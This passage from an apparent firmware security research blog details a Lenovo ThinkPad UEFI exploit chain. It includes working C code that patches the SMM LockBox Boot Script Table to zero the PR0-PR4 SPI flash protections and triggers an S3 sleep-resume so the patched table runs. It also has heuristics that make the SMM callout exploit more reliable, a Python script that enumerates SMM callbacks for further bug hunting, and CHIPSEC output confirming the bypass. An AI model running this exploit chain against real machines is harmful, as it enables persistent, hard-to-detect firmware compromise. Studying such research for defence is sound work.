// "LOCKB_64" magic constant #define SMM_LOCK_BOX_SIGNATURE_64 0x34365F424B434F4C typedef struct { unsigned long long Signature; LIST_ENTRY *Head; } SMM_LOCK_BOX_DATA; typedef struct { unsigned int Size; unsigned long long Unknown; void *Address; LIST_ENTRY Link; } SMM_BOOT_SCRIPT; int boot_script_table_addr( PUEFI_EXPL_TARGET target, unsigned long long *addr, unsigned int *size) { // get SMRAM address unsigned long long TSEG = smram_addr(target); if (TSEG == 0) { return -1; } // find EFI SMM configuration table that belongs to SMM lockbox unsigned long long lockbox_addr = configuration_table_addr( target, gEfiSmmLockBoxCommunicationGuid); if (lockbox_addr == 0) { return -1; } SMM_LOCK_BOX_DATA lockbox; // read SMM lockbox structure if (phys_mem_read( target, (void *)lockbox_addr, sizeof(SMM_LOCK_BOX_DATA), (unsigned char *)&lockbox, NULL) != 0) { return -1; } // check for valid magic constant at the beginning of the lockbox structure if (lockbox.Signature != SMM_LOCK_BOX_SIGNATURE_64) { return -1; } if (!IS_SMRAM_PTR(lockbox.Head)) { return -1; } LIST_ENTRY list_entry; // read SMM lockbox LIST_ENTRY if (phys_mem_read( target, (void *)lockbox.Head, sizeof(LIST_ENTRY), (unsigned char *)&list_entry, NULL) != 0) { return -1; } if (!IS_SMRAM_PTR(list_entry.Blink)) { return -1; } SMM_BOOT_SCRIPT bootscript; // read boot script table information if (phys_mem_read( target, (void *)((unsigned long long)list_entry.Blink - FIELD_OFFSET(SMM_BOOT_SCRIPT, Link)), sizeof(SMM_BOOT_SCRIPT), (unsigned char *)&bootscript, NULL) != 0) { return -1; } if (!IS_SMRAM_PTR(bootscript.Address)) { return -1; } unsigned short bootscript_magic = 0; // read boot script table signature if (phys_mem_read( target, bootscript.Address, sizeof(unsigned short), (unsigned char *)&bootscript_magic, NULL) != 0) { return -1; } // check for the boot script table signature if (bootscript_magic != 0xAA) { return -1; } *addr = (unsigned long long)bootscript.Address; *size = bootscript.Size; return 0; }
Using this function we finally can obtain Boot Script Table dump on live system and check what interesting things it hides. As it was said in my "Exploiting UEFI boot script table vulnerability" article — UEFI specification (check "Boot Script Specification" document) covers only protocols used by firmware to access Boot Script Table contents and operation codes of it’s entries, but not the table binary format itself.
Here you can see some of Boot Script Table opcodes defined in specification:
#define EFI_BOOT_SCRIPT_IO_WRITE_OPCODE 0x00 #define EFI_BOOT_SCRIPT_IO_READ_WRITE_OPCODE 0x01 #define EFI_BOOT_SCRIPT_MEM_WRITE_OPCODE 0x02 #define EFI_BOOT_SCRIPT_MEM_READ_WRITE_OPCODE 0x03 #define EFI_BOOT_SCRIPT_PCI_CONFIG_WRITE_OPCODE 0x04 #define EFI_BOOT_SCRIPT_PCI_CONFIG_READ_WRITE_OPCODE 0x05 #define EFI_BOOT_SCRIPT_SMBUS_EXECUTE_OPCODE 0x06 #define EFI_BOOT_SCRIPT_STALL_OPCODE 0x07 #define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08
Hexadecimal dump of Boot Script Table from ThinkPad T450s with firmware ver. 1.11:
Despite of unknown format we easily can recognise some fields of table entry: size is highlighted with blue and opcode is highlighted with red. Let’s scroll down and check the table for PRx registers addresses or values, and bingo! At the end of the Boot Script Table we have 5 entries that sets values of PR0-PR4 registers:
Register physical memory address (that points inside Root Complex Register Block) is highlighted with green and register value is highlighted with yellow. These values are perfectly match values from CHIPSEC output that was shown above.
Here’s the code that performs table entries patching to set PR0-PR4 register values to zero. Then it calls s3_sleep_with_timeout() function to trigger suspend-resume cycle and execute modified Boot Script Table. After S3 resume it reads PR0-PR4 values once again to check if PRx flash write protection was sucessfully disabled:
int pr_disable(PUEFI_EXPL_TARGET target) { int ret = -1; unsigned long long bootscript_addr = 0, rcrb_addr = 0; unsigned int bootscript_size = 0, ptr = 2; unsigned int pr0_val = 0, pr1_val = 0, pr2_val = 0, pr3_val = 0, pr4_val = 0; // get current values of PRx registers if (pr_get(target, &rcrb_addr, &pr0_val, &pr1_val, &pr2_val, &pr3_val, &pr4_val) != 0) { return -1; } // check if any protected ranges are set if (pr0_val == 0 && pr1_val == 0 && pr2_val == 0 && pr3_val == 0 && pr4_val == 0) { return 0; } // find UEFI boot script table address (points inside SMRAM) and size if (boot_script_table_addr(target, &bootscript_addr, &bootscript_size) != 0) { return -1; } // allocate bufer for boot script table entries unsigned char *bootscript = (unsigned char *)malloc(bootscript_size); if (bootscript == NULL) { return -1; } // read boot script table entries if (phys_mem_read( target, (void *)bootscript_addr, bootscript_size, bootscript, NULL) != 0) { goto _end; } struct { const char *name; unsigned long long addr; bool found; } pr_regs[] = { { "PR0", rcrb_addr + PR0, false }, { "PR1", rcrb_addr + PR1, false }, { "PR2", rcrb_addr + PR2, false }, { "PR3", rcrb_addr + PR3, false }, { "PR4", rcrb_addr + PR4, false } }; int registers_found = 0, entries_patched = 0; // enumerate table entries while (ptr < bootscript_size - 2) { unsigned char *entry = bootscript + ptr; // get entry size and opcode unsigned char size = *(entry + 0); unsigned char code = *(entry + 1); if (size > bootscript_size - ptr) { goto _end; } // check if boot script table entry performs memory write operation if (code == BOOT_SCRIPT_MEM_WRITE_OPCODE) { // get write address and value arguments unsigned long long addr = *(unsigned long long *)(entry + 0x09); unsigned int val = *(unsigned int *)(entry + 0x11); for (int i = 0; i < 5; i += 1) { // determinate if address belongs to PRx register if (addr == pr_regs[i].addr) { val = 0; // patch PRx write value to zero if (phys_mem_write( target, (void *)(bootscript_addr + ptr + 0x11), sizeof(unsigned int), (unsigned char *)&val, NULL) == 0) { entries_patched += 1; } if (!pr_regs[i].found) { registers_found += 1; } pr_regs[i].found = true; break; } } } // go to the next boot script table entry ptr += size; } if (registers_found > 0) { // go to the S3 sleep if (s3_sleep_with_timeout(10) == 0) { // get current values of PRx registers if (pr_get(target, &rcrb_addr, &pr0_val, &pr1_val, &pr2_val, &pr3_val, &pr4_val) != 0) { goto _end; } // check if any protected ranges are set if (pr0_val == 0 && pr1_val == 0 && pr2_val == 0 && pr3_val == 0 && pr4_val == 0) { ret = 0; } } } _end: if (bootscript) { free(bootscript); } return ret; }
The tricky part was about waking up the platform from S3 sleep on Windows operating system where libfwexpl works, on Linux it’s relatively easy to do this thing using rtcwake command line utlity included in all of the major distributives. However, it seems that on Windows there’s no any dedicated API or utility for that purpose. My first idea was about creating Task Scheduler entry — it has an option to wake up the system from sleep to execute specific task, but my friend advised me much more simple trick.
SetWaitableTimer() Win32 API function has fResume boolean argument:
BOOL WINAPI SetWaitableTimer( _In_ HANDLE hTimer, _In_ const LARGE_INTEGER *pDueTime, _In_ LONG lPeriod, _In_opt_ PTIMERAPCROUTINE pfnCompletionRoutine, _In_opt_ LPVOID lpArgToCompletionRoutine, _In_ BOOL fResume );
It’s description from MSDN:
If this parameter is TRUE, restores a system in suspended power conservation mode when the timer state is set to signalled. Otherwise, the system is not restored. If the system does not support a restore, the call succeeds, but GetLastError returns ERROR_NOT_SUPPORTED.
So, we need to check if S3 power state is supported by current platform, set waitable timer with TRUE value of fResume for specified amount of time and put the system to S3 sleep with SetSuspendState() API call, platform wakes up when timer will be signalled:
DWORD WINAPI s3_sleep_thread(LPVOID lpParam) { Sleep(300); // put computer into sleep SetSuspendState(FALSE, TRUE, FALSE); return 0; } int s3_sleep_with_timeout(int seconds) { int ret = -1; SYSTEM_POWER_CAPABILITIES PowerCapabilities; // get power capabilities if (!GetPwrCapabilities(&PowerCapabilities)) { return -1; } // check if S3 sleep is supported by this system if (!PowerCapabilities.SystemS3) { return -1; } // create waitable timer that wakes up computer from sleep HANDLE hTimer = CreateWaitableTimer(NULL, TRUE, NULL); if (hTimer) { LARGE_INTEGER Time; Time.QuadPart = seconds * -1 * 1000 * 1000 * 10; if (SetWaitableTimer(hTimer, &Time, 0, NULL, NULL, TRUE)) { HANDLE hThread = CreateThread(NULL, 0, s3_sleep_thread, NULL, 0, NULL); if (hThread) { HANDLE Events[] = { hTimer, hThread }; // wait till wakeup WaitForMultipleObjects(2, Events, FALSE, INFINITE); CloseHandle(hThread); ret = 0; } } CloseHandle(hTimer); } return ret; }
I implemented --pr-disable command line option of fwexpl_app which allows to use this attack with 1day Lenovo exploit. Let’s run it and check if we can bypass PRx flash write protection:
PRx flash write protection bypass exploit in action |
Success! Now let’s run CHIPSEC and verify that PR0-PR4 registers have zero values after execution of patched Boot Script Table:
# python chipsec_main.py -m common.bios_wp ****** Chipsec Linux Kernel module is licensed under GPL 2.0 ################################################################ ## ## ## CHIPSEC: Platform Hardware Security Assessment Framework ## ## ## ################################################################ [CHIPSEC] Version 1.2.1 [CHIPSEC] Arguments: -m common.bios_wp ****** Chipsec Linux Kernel module is licensed under GPL 2.0 [CHIPSEC] OS : Linux 4.1.6 #1 SMP Sun Aug 23 19:27:36 2015 x86_64 [CHIPSEC] Platform: Mobile 5th Generation Core Processor (Broadwell M/H / Wildcat Point PCH) [CHIPSEC] VID: 8086 [CHIPSEC] DID: 1604 [+] loaded chipsec.modules.common.bios_wp [*] running loaded modules .. [*] running module: chipsec.modules.common.bios_wp [*] Module path: /usr/src/chipsec/source/tool/chipsec/modules/common/bios_wp.pyc [x][ ======================================================================= [x][ Module: BIOS Region Write Protection [x][ ======================================================================= [*] BC = 0x2A << BIOS Control (b:d.f 00:31.0 + 0xDC) [00] BIOSWE = 0 << BIOS Write Enable [01] BLE = 1 << BIOS Lock Enable [02] SRC = 2 << SPI Read Configuration [04] TSS = 0 << Top Swap Status [05] SMM_BWP = 1 << SMM BIOS Write Protection [+] BIOS region write protection is enabled (writes restricted to SMM) [*] BIOS Region: Base = 0x00500000, Limit = 0x00FFFFFF SPI Protected Ranges ------------------------------------------------------------ PRx (offset) | Value | Base | Limit | WP? | RP? ------------------------------------------------------------ PR0 (74) | 00000000 | 00000000 | 00000000 | 0 | 0 PR1 (78) | 00000000 | 00000000 | 00000000 | 0 | 0 PR2 (7C) | 00000000 | 00000000 | 00000000 | 0 | 0 PR3 (80) | 00000000 | 00000000 | 00000000 | 0 | 0 PR4 (84) | 00000000 | 00000000 | 00000000 | 0 | 0 [!] None of the SPI protected ranges write-protect BIOS region
As you can see, everything works just fine. Currently I haven’t tested this code on firmware of other computers, but as far as I can see, PRx flash write protection bypass attack should work on any Lenovo machines. In practice, there’s a typical to find a similar approaches for specific engineering tasks in firmware from different OEM/IBV companies, so, there’s a high probability that described attack can be used as generic way to turn SMM code execution vulnerabilities into the full flash write protection bypass (BIOS_CNTL and PRx) on wide range of computers available at the market.
Also, I had some private talk with Intel security people and they say that technically this kind of design flaws which allow to disable PRx is not a vulnerability — their current threat model for IA-32 platforms implies that once the attacker managed to execute arbitrary SMM code, it's game over for flash write protection. I see some sort of irony in this point, as it was said above — the coolest feature of PRx registers is practical possibility of implementing strong flash write protection that doesn’t rely on System Management Mode code at all.
Making exploit code more reliable
In previous version of fwexpl_app it was necessary to specify the address of RegisterProtocol field of EFI_BOOT_SERVICES structure — it’s knowledge was needed to exploit the SMM callout vulnerability. In new version of the tool I implemented some binary heuristics which find this address automatically, so, you don’t need to specify it using --target-addr option or hardcode it into the g_targets[] array anymore.
These heuristics rely on simple fact that during operating system execution there are still some runtime phase UEFI drivers present in system memory. For example, Windows kernel uses EFI_RUNTIME_SERVICES.GetVariable()/SetVariable() functions to implement functionality of NtQuerySystemEnvironmentValue(), NtSetSystemEnvironmentValue() and other similar system calls that used to access NVRAM variables.
Let’s check the code of hal!HalGetEnvironmentVariableEx() function that calls EFI_RUNTIME_SERVICES.GetVariable():
.text:000000008003B374 ; Attributes: bp-based frame fpd=70h .text:000000008003B374 .text:000000008003B374 public HalGetEnvironmentVariableEx .text:000000008003B374 HalGetEnvironmentVariableEx proc near .text:000000008003B374 .text:000000008003B374 push rbp .text:000000008003B375 push rbx .text:000000008003B376 push rsi .text:000000008003B377 push rdi .text:000000008003B378 push r12 .text:000000008003B37A push r13 .text:000000008003B37C push r14 .text:000000008003B37E push r15 .text:000000008003B380 sub rsp, 68h .text:000000008003B384 lea rbp, [rsp+30h] .text:000000008003B389 mov rax, cs:__security_cookie .text:000000008003B390 xor rax, rbp .text:000000008003B393 mov [rbp+70h+var_48], rax .text:000000008003B397 mov r12, [rbp+70h+arg_20] .text:000000008003B39E xor r13d, r13d .text:000000008003B3A1 mov r15, r8 .text:000000008003B3A4 cmp cs:HalFirmwareTypeEfi, r13b ...
This code is referencing hal!HalFirmwareTypeEfi global variable, if we will look over it in disassembly code we can see that there’s also a hal!HalEfiRuntimeServicesTable variable around. This variable points to the internal HAL structure that contains the address of EFI_RUNTIME_SERVICES.GetVariable() and other UEFI runtime functions:
... .data:0000000080058D10 HalEfiRuntimeServicesTable dq ? .data:0000000080058D18 HalFirmwareTypeEfi db ? .data:0000000080058D19 align 4 ...
The EFI_RUNTIME_SERVICES.GetVariable() function itself is located inside LenovoVariableSmm UEFI runtime driver. If we check the entry point function of this driver we see that it uses gBS global variable to keep the address of EFI_BOOT_SERVICES structure — that’s exactly what we looking for!
.text:00000000AA8DC1FC ; EFI_STATUS __fastcall start(EFI_HANDLE ImageHandle, EFI_SYSTEM_TABLE *SystemTable) .text:00000000AA8DC1FC public start .text:00000000AA8DC1FC start proc near .text:00000000AA8DC1FC .text:00000000AA8DC1FC mov [rsp-8+arg_0], rbx .text:00000000AA8DC201 push rbp .text:00000000AA8DC202 mov rbp, rsp .text:00000000AA8DC205 sub rsp, 60h .text:00000000AA8DC209 lea r8, [rbp+arg_10] .text:00000000AA8DC20D mov rbx, rdx .text:00000000AA8DC210 call sub_AA8DCC00 ; initialize global variables .text:00000000AA8DC215 cmp byte ptr [rbp+arg_10], 1 .text:00000000AA8DC219 jnz loc_AA8DC349 .text:00000000AA8DC21F mov rax, cs:qword_AA8DCEB8 .text:00000000AA8DC226 lea rdx, qword_AA8DCF00 .text:00000000AA8DC22D mov rcx, rax .text:00000000AA8DC230 call qword ptr [rax+38h] .text:00000000AA8DC233 mov rax, cs:gBS ; rax <- EFI_BOOT_SERVICES address .text:00000000AA8DC23A lea r8, qword_AA8DCF18 .text:00000000AA8DC241 lea rcx, qword_AA8DB690 .text:00000000AA8DC248 xor edx, edx .text:00000000AA8DC24A call qword ptr [rax+140h] ; LocateProtocol() call ... .text:00000000AA8DCE98 ; EFI_BOOT_SERVICES *gBS .text:00000000AA8DCE98 gBS dq ? .text:00000000AA8DCE98 .text:00000000AA8DCEA0 ; EFI_RUNTIME_SERVICES *gRT .text:00000000AA8DCEA0 gRT dq ? .text:00000000AA8DCEA0 .text:00000000AA8DCEA8 ; EFI_SYSTEM_TABLE *gST .text:00000000AA8DCEA8 gST dq ? ...
Now we can write a function that locates and dumps HAL, finds address of LenovoVariableSmm UEFI driver by EFI_RUNTIME_SERVICES.GetVariable() address and obtains the value of it’s gBS global variable to return EFI_BOOT_SERVICES structure address:
#define IS_CANONICAL_ADDR(_addr_) (((DWORD_PTR)(_addr_) & 0xfffff80000000000) == \ 0xfffff80000000000) #define IS_EFI_DXE_ADDR(_addr_) (((DWORD_PTR)(_addr_) & 0xffffffff00000000) == 0 && \ ((DWORD_PTR)(_addr_) & 0x00000000ffffffff) != 0) char *m_szHalNames[] = { "hal.dll", // Non-ACPI PIC HAL "halacpi.dll", // ACPI PIC HAL "halapic.dll", // Non-ACPI APIC UP HAL "halmps.dll", // Non-ACPI APIC MP HAL "halaacpi.dll", // ACPI APIC UP HAL "halmacpi.dll", // ACPI APIC MP HAL NULL }; unsigned long long win_get_efi_boot_services(void) { unsigned long long Ret = 0; PVOID EfiRuntimeImageAddr = NULL; DWORD dwEfiRuntimeImageSize = 0; HMODULE hModule = NULL; PRTL_PROCESS_MODULES Info = (PRTL_PROCESS_MODULES)GetSysInf(SystemModuleInformation); if (Info) { PVOID HalAddr = NULL; char *lpszHalName = NULL; // enumerate loaded kernel modules for (DWORD i = 0; i < Info->NumberOfModules; i += 1) { char *lpszName = (char *)Info->Modules[i].FullPathName + Info->Modules[i].OffsetToFileName; // match by all of the possible HAL names for (DWORD i_n = 0; m_szHalNames[i_n] != NULL; i_n += 1) { if (!strcmp(strlwr(lpszName), m_szHalNames[i_n])) { // get HAL address and path HalAddr = Info->Modules[i].ImageBase; lpszHalName = lpszName; break; } } if (lpszHalName) { break; } } if (HalAddr && lpszHalName) { // load HAL as dynamic library hModule = LoadLibraryExA(lpszHalName, 0, DONT_RESOLVE_DLL_REFERENCES); } M_FREE(Info); } if (hModule) { PVOID pHalEfiRuntimeServicesTable = NULL; PVOID Func = GetProcAddress(hModule, "HalGetEnvironmentVariableEx"); if (Func) { for (DWORD i = 0; i < 0x40; i += 1) { PUCHAR Ptr = RVATOVA(Func, i), Addr = NULL; /* Check for the following code of hal!HalGetEnvironmentVariableEx(): cmp cs:HalFirmwareTypeEfi, 0 ... HalEfiRuntimeServicesTable dq ? HalFirmwareTypeEfi db ? */ if (*(PUSHORT)Ptr == 0x3d80 /* CMP */) { // get address of hal!HalEfiRuntimeServicesTable Addr = Ptr + *(PLONG)(Ptr + 2) - 1; } else if (*(PUSHORT)(Ptr + 0) == 0x3844 && *(Ptr + 2) == 0x2d /* CMP */) { // get address of hal!HalEfiRuntimeServicesTable Addr = Ptr + *(PLONG)(Ptr + 3) - 1; } if (Addr) { // calculate a real kernel address pHalEfiRuntimeServicesTable = (PVOID)RVATOVA(HalAddr, Addr - (PUCHAR)hModule); break; } } } if (IS_CANONICAL_ADDR(pHalEfiRuntimeServicesTable)) { PVOID HalEfiRuntimeServicesTable = NULL; // read hal!HalEfiRuntimeServicesTable value if (uefi_expl_virt_mem_read( (unsigned long long)pHalEfiRuntimeServicesTable, sizeof(PVOID), (unsigned char *)&HalEfiRuntimeServicesTable)) { if (IS_CANONICAL_ADDR(HalEfiRuntimeServicesTable)) { PVOID EfiGetVariable = NULL; // read EFI_RUNTIME_SERVICES.GetVariable() address if (uefi_expl_virt_mem_read( (unsigned long long)HalEfiRuntimeServicesTable + (sizeof(DWORD_PTR) * 3), sizeof(PVOID), (unsigned char *)&EfiGetVariable)) { if (IS_CANONICAL_ADDR(EfiGetVariable)) { PUCHAR Addr = (PUCHAR)XALIGN_DOWN((DWORD_PTR)EfiGetVariable, PAGE_SIZE); DWORD dwMaxSize = 0; // find EFI image load address by GetVariable() address while (dwMaxSize < PAGE_SIZE * 4) { UCHAR Buff[PAGE_SIZE]; // read memory page of EFI image if (!uefi_expl_virt_mem_read((unsigned long long)Addr, PAGE_SIZE, Buff)) { break; } PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)&Buff; // check for valid DOS header if (pDosHeader->e_magic == IMAGE_DOS_SIGNATURE && pDosHeader->e_lfanew < PAGE_SIZE - sizeof(IMAGE_NT_HEADERS)) { PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS) RVATOVA(pDosHeader, pDosHeader->e_lfanew); // check for valid NT header if (pNtHeader->Signature == IMAGE_NT_SIGNATURE) { EfiRuntimeImageAddr = Addr; dwEfiRuntimeImageSize = pNtHeader->OptionalHeader.SizeOfImage; break; } } Addr -= PAGE_SIZE; dwMaxSize += PAGE_SIZE; } } } } } } FreeLibrary(hModule); } if (IS_CANONICAL_ADDR(EfiRuntimeImageAddr) && dwEfiRuntimeImageSize > 0) { PUCHAR Image = (PUCHAR)M_ALLOC(dwEfiRuntimeImageSize); if (Image) { // dump EFI runtime image from memory if (uefi_expl_virt_mem_read( (unsigned long long)EfiRuntimeImageAddr, dwEfiRuntimeImageSize, Image)) { PIMAGE_NT_HEADERS pHeaders = (PIMAGE_NT_HEADERS) RVATOVA(Image, ((PIMAGE_DOS_HEADER)Image)->e_lfanew); for (DWORD i = 0; i < 0x100; i += 1) { PUCHAR Ptr = RVATOVA(Image, pHeaders->OptionalHeader.AddressOfEntryPoint + i); /* Check for the following code at entry point of EFI driver: mov rax, cs:qword_AA8DCE98 ; get EFI_BOOT_SERVICES address call qword ptr [rax+140h] ; call LocateProtocol function */ if (*(Ptr + 0x00) == 0x48 && *(Ptr + 0x01) == 0x8b && *(Ptr + 0x02) == 0x05 && *(Ptr + 0x07) == 0xff && *(Ptr + 0x08) == 0x90 && *(PDWORD)(Ptr + 0x09) == 0x140) { // get address of variable that points to EFI_BOOT_SERVICES PVOID *pEfiBootServices = (PVOID *)(Ptr + *(PLONG)(Ptr + 3) + 7); if (IS_EFI_DXE_ADDR(*pEfiBootServices)) { Ret = (unsigned long long)*pEfiBootServices; } break; } } } M_FREE(Image); } } return Ret; }
In addition I implemented a few other command line options that might be useful to play with the boot script attacks: --bs-dump that dumps contents of the Boot Script Table stored in SMM LockBox into the file, and --s3-resume that puts the system into the S3 sleep and wakes it up after specified amount of seconds.
Just another kind of SMM callbacks
In my previous article I already told you about SMM callback flaws on example of SMM callout vulnerability in SW SMI handler of SystemSmmAhciAspiLegacyRt Lenovo firmware driver. However, from UEFI specification and my other articles (like "Building reliable SMM backdoor for UEFI based platforms") you probably know that there are actually lots of other SMM callback types. EFI specification of version 1.x defines EFI_SMM_BASE_PROTOCOL that has Communicate() and RegisterCallback() functions — the last one was used to register SMM LockBox communication callback described in fisrt part of this article:
typedef struct _EFI_SMM_BASE_PROTOCOL { EFI_SMM_REGISTER_HANDLER Register; EFI_SMM_UNREGISTER_HANDLER UnRegister; EFI_SMM_COMMUNICATE Communicate; EFI_SMM_CALLBACK_SERVICE RegisterCallback; EFI_SMM_INSIDE_OUT InSmm; EFI_SMM_ALLOCATE_POOL SmmAllocatePool; EFI_SMM_FREE_POOL SmmFreePool; EFI_SMM_GET_SMST_LOCATION GetSmstLocation; } EFI_SMM_BASE_PROTOCOL;
However, in 2.x EFI specification this protocol was replaced with EFI_SMM_BASE2_PROTOCOL and it’s functionality was significantly reduced because SMM callbacks were moved to dedicated protocol EFI_SMM_COMMUNICATION_PROTCOL:
typedef struct _EFI_SMM_BASE2_PROTOCOL { EFI_SMM_INSIDE_OUT2 InSmm; EFI_SMM_GET_SMST_LOCATION2 GetSmstLocation; } EFI_SMM_BASE2_PROTOCOL;
Very often firmware of real products available at the market is stucked somewhere between 1.x and 2.x EFI version, so, it’s quite typical to see relatively fresh code that still implements legacy protocols like EFI_SMM_BASE_PROTOCOL for compatibility purposes. After I met such legacy callback in SMM LockBox driver — I decided to find all similar callbacks used in actual versions of Lenovo firmware and check them for some interesting vulnerabilities.
Documentation on EFI_SMM_BASE_PROTOCOL.RegisterCallback() function from "System Management Mode Core Interface Specification":
/** Register a callback to execute within SMM. This allows receipt of messages created with EFI_SMM_BASE_PROTOCOL.Communicate(). @param[in] This Protocol instance pointer. @param[in] SmmImageHandle Handle of the callback service. @param[in] CallbackAddress Address of the callback service. @param[in] MakeLast If present, will stipulate that the handler is posted to be executed last in the dispatch table. @param[in] FloatingPointSave An optional parameter that informs the EFI_SMM_ACCESS_PROTOCOL Driver core if it needs to save the floating point register state. If any handler require this, the state will be saved for all handlers. @retval EFI_SUCCESS The operation was successful. @retval EFI_OUT_OF_RESOURCES Not enough space in the dispatch queue. @retval EFI_UNSUPPORTED The platform is in runtime. @retval EFI_UNSUPPORTED The caller is not in SMM. **/ typedef EFI_STATUS (EFIAPI *EFI_SMM_CALLBACK_SERVICE)( IN EFI_SMM_BASE_PROTOCOL *This, IN EFI_HANDLE SmmImageHandle, IN EFI_SMM_CALLBACK_ENTRY_POINT CallbackAddress, IN BOOLEAN MakeLast OPTIONAL, IN BOOLEAN FloatingPointSave OPTIONAL );
As you can see, each registered callback has it’s own EFI_HANDLE value that used to call it with EFI_SMM_BASE_PROTOCOL.Communicate() function:
/** The SMM Inter-module Communicate Service Communicate() function provides a service to send/receive messages from a registered EFI service. The BASE protocol driver is responsible for doing any of the copies such that the data lives in boot-service-accessible RAM. @param[in] This The protocol instance pointer. @param[in] ImageHandle The handle of the the callback service. @param[in,out] CommunicationBuffer The pointer to the buffer to convey into SMRAM. @param[in,out] SourceSize The size of the data buffer being passed in. On exit, the size of data being returned. Zero if the handler does not wish to reply with any data. @retval EFI_SUCCESS The message was successfully posted. @retval EFI_INVALID_PARAMETER The buffer was NULL. **/ typedef EFI_STATUS (EFIAPI * EFI_SMM_COMMUNICATE)( IN EFI_SMM_BASE_PROTOCOL *This, IN EFI_HANDLE ImageHandle, IN OUT VOID *CommunicationBuffer, IN OUT UINTN *SourceSize );
SMM callback function has the following signature:
typedef EFI_STATUS (EFIAPI * EFI_SMM_CALLBACK_ENTRY_POINT)( IN EFI_HANDLE SmmImageHandle, IN OUT VOID *CommunicationBuffer OPTIONAL, IN OUT UINTN *SourceSize OPTIONAL );
According to specification, EFI_SMM_BASE_PROTOCOL.Communicate() function caller must set proper header of memory buffer that will be passed to SMM callback:
#define SMM_COMMUNICATE_HEADER_GUID { F328E36C-23B6-4a95-854B-32E19534CD75 } typedef struct { /* Allows for disambiguation of the message format. See above for the definition of SMM_COMMUNICATE_HEADER_GUID. Type EFI_GUID is defined in InstallProtocolInterface() in the EFI 1.10 Specification. */ EFI_GUID HeaderGuid; /* Describes the size of the message, not including the header. */ UINTN MessageLength; /* Designates an array of bytes that is MessageLength in size. */ UINT8 Data[1]; } EFI_SMM_COMMUNICATE_HEADER;
SMM LockBox driver from ThinkPad T450s firmware uses constant EFI_HANDLE with value 0xf9e9662b. If we try to find this value in SMRAM dump, we would see an easily recognisable structure that contains handle value, corresponding callback address and EFI_LIST_ENTRY field to join it into double-linked list for registered callbacks:
AD3C8910 ; EFI_LIST_ENTRY stru_AD3C8910 AD3C8910 stru_AD3C8910 EFI_LIST_ENTRY <offset stru_AD3C8890, offset stru_AD3C8990> AD3C8920 dq 0F9E9662Bh ; EFI_HANDLE value of SMM callback AD3C8928 dq offset unk_AD3A7674 ; SMM callback function pointer AD3C8930 db 0 AD3C8931 db 0 AD3C8932 db 0 AD3C8933 db 0
Now using this knowledge we can write a small Python program that parses SMRAM dump and finds all the callback functions registered by EFI_SMM_BASE_PROTOCOL.RegisterCallback():
import sys, os from struct import pack, unpack SMRAM_SIZE = 0x800000 # list of known handle values from CALLBACK_INFO, used to find callbacks list entry KNOWN_HANDLES = [ 0xF9E9662B ] def main(): with open(sys.argv[1], 'rb') as fd: data = fd.read() # determine SMRAM address from pointer stored at TSEG+0x10 smram_base = unpack('Q', data[0x10 : 0x10 + 8])[0] & 0xFF000000 print('SMRAM base is 0x%x' % smram_base) # helper functions to_offset = lambda addr: addr - smram_base to_address = lambda offset: offset + smram_base in_smram = lambda addr: addr >= smram_base and addr < smram_base + SMRAM_SIZE ptr, entry = 0, None # find CALLBACK_INFO of SMM lockbox while ptr < len(data) - 0x10: ''' Read CALLBACK_INFO structure: typedef struct { LIST_ENTRY Link; EFI_HANDLE DispatchHandle; EFI_SMM_CALLBACK_ENTRY_POINT CallbackAddress; ... } CALLBACK_INFO; ''' flink, blink, handle, func = unpack('QQQQ', data[ptr : ptr + 0x20]) if handle in KNOWN_HANDLES and in_smram(flink) and \ in_smram(blink) and in_smram(func): # list entry was found print('Found CALLBACK_INFO with known handle at 0x%x' % to_address(ptr)) entry = ptr break ptr += 0x10 if entry is not None: ptr = entry # iterate all list items while True: flink, blink, handle, func = unpack('QQQQ', data[ptr : ptr + 0x20]) # check for valid field values if not (in_smram(flink) and in_smram(blink) and in_smram(func)): print('ERROR: Invalid CALLBACK_INFO at 0x%x' % to_address(ptr)) return -1 # get offset of the next callback structure next = to_offset(flink) if next == entry: # we are at the beginning of the list break # condition to avoid list head enumeration if handle != func: print('0x%.8x: handle = 0x%x, function = 0x%x' % \ (to_address(ptr), handle, func)) else: print('List head is at 0x%x' % to_address(ptr)) ptr = next return 0 if __name__ == '__main__': exit(main())
Program output on ThinkPad T450s firmware version 1.11:
$ python smm_callback.py TSEG_t450_1.11.bin SMRAM base is 0xad000000 Found CALLBACK_INFO with known handle at 0xad3c8910 0xad3c8910: handle = 0xf9e9662b, function = 0xad3a7674 0xad3c8890: handle = 0x668ad507, function = 0xad398c48 0xad3c8850: handle = 0x1a7b7c7d, function = 0xad38d8c0 0xad3c8810: handle = 0x1a7b7e7f, function = 0xad38aa7c 0xad2e5bd0: handle = 0x66c6d4e0, function = 0xad27b68c 0xad23ab50: handle = 0x237ca874, function = 0xad23e0a0 0xad238490: handle = 0xa5bb7a7f, function = 0xad21abe8 List head is at 0xad002348 0xad3c8e90: handle = 0xa4af0718, function = 0xad3afa54 0xad3c8f90: handle = 0xa4b12298, function = 0xad3c116c
Bonus 0day: SMM LockBox inspired Lenovo firmware vulnerability
If we look at the code of randomly chosen SMM callback, for example sub_AD398C48(), we would see that it uses similar to SMM LockBox callback approach to filter input buffer address by comparing it’s data with hardcoded GUID value that usually unique for exact callback or driver:
EFI_STATUS __fastcall sub_AD398C48(EFI_HANDLE SmmImageHandle, VOID *CommunicationBuffer, UINTN *SourceSize) { VOID *v3; // rbx@1 v3 = CommunicationBuffer; /* Compares communication buffer pointer with zero and compares GUID that goes at the beginning of EFI_SMM_COMMUNICATE_HEADER.Data with hardcoded magic value. */ if (CommunicationBuffer && _compare_guid((EFI_GUID *)((char *)CommunicationBuffer + 24), &guid_AD3982E0)) { /* Get some pointers from EFI_SMM_COMMUNICATE_HEADER.Data and pass them to the function that does some work. */ sub_AD398B10(*((VOID **)v3 + 6), *((VOID **)v3 + 5)); } return 0; }
But if we check all 9 functions found by Python program we would find a very interesting one, sub_AD3AFA54() — it’s code doesn’t look like code of any other SMM callbacks from Lenovo firmware:
